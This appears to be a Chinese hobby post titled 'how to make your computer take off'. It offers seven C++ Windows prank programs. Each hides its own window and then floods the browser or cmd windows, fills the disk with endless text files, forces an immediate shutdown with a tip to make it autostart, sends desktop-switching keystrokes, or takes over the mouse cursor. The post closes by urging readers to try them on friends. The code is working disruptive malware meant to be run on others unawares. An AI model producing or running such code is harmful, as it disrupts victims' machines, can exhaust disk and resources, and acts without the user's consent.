如何让电脑起飞

· · 休闲·娱乐

1:

#include <iostream>
#include <windows.h>
using namespace std;
char s[1000];
int main()
{
    HWND hwnd = GetForegroundWindow();
    ShowWindow(hwnd, 0);
    string str = "start https://bilibili.com";
    for (int i=0;i<str.size();i++)
    {
        s[i] = str[i];
    }
    while (1)
    {
        system(s);
    }
    return 0;
}

2.(C++11):

#include <iostream>
#include <windows.h>
using namespace std;
char s[1000];
int main()
{
    HWND hwnd = GetForegroundWindow();
    ShowWindow(hwnd, 0);
    for (int i=1;;i++)
    {
        string str = to_string(i)+".txt";
        for (int j=0;j<str.size();j++)
        {
            s[j] = str[j];
        }
        freopen(s, "w", stdout);
        cout << "Coffice!";
    }
    return 0;
}
  1. #include <iostream>
    #include <windows.h>
    using namespace std;
    int main()
    {
     HWND hwnd = GetForegroundWindow();
     ShowWindow(hwnd, 0);
     while (1)
         system("start cmd");
     return 0;
    }

    4.(设置开机自启更好玩)

    #include <iostream>
    #include <windows.h>
    using namespace std;
    int main()
    {
     HWND hwnd = GetForegroundWindow();
     ShowWindow(hwnd, 0);
     system("shutdown -s -t 0");
     return 0;
    }
  2. #include<iostream>
    #include<windows.h>
    using namespace std;
    void Key_Down(int n)
    {
     keybd_event(n,0,0,0);
    }
    void Key_Up(int n)
    {
     keybd_event(n,0,2,0);
    }
    int main()
    {
     HWND hwnd = GetForegroundWindow();
     ShowWindow(hwnd, 0);
     Key_Down(17);
     Key_Down(91);
     Key_Down(39);
     Key_Up(17);
     Key_Up(91);
     Key_Up(68);
     for(int i=1;i<=10000;i++)
     {
         Key_Down(17);
         Key_Down(91);
         Key_Down(39);
         Key_Down(37);
         Key_Up(37);
         Key_Down(39);
         Key_Up(39);
     }
     return 0;
    }
  3. #include <bits/stdc++.h>
    #include <windows.h>
    #include <conio.h>
    using namespace std;
    int main()
    {
     HWND hwnd = GetForegroundWindow();
     ShowWindow(hwnd, 0);
     int a;
     int x=GetSystemMetrics(SM_CXSCREEN);
     int y=GetSystemMetrics(SM_CXSCREEN);
     srand(time(0));
     while(true)
     {
         SetCursorPos(rand()%x,rand()%y);
         Sleep(10);
     }
    }
  4. #include <bits/stdc++.h>
    #include <windows.h>
    #include <conio.h>
    using namespace std;
    int main()
    {
     HWND hwnd = GetForegroundWindow();
     ShowWindow(hwnd, 0);
     int a;
     int x=GetSystemMetrics(SM_CXSCREEN);
     int y=GetSystemMetrics(SM_CXSCREEN);
     while(true)
     {
         SetCursorPos(0,0);
         Sleep(10);
     }
    }

    赶紧找朋友试一下。。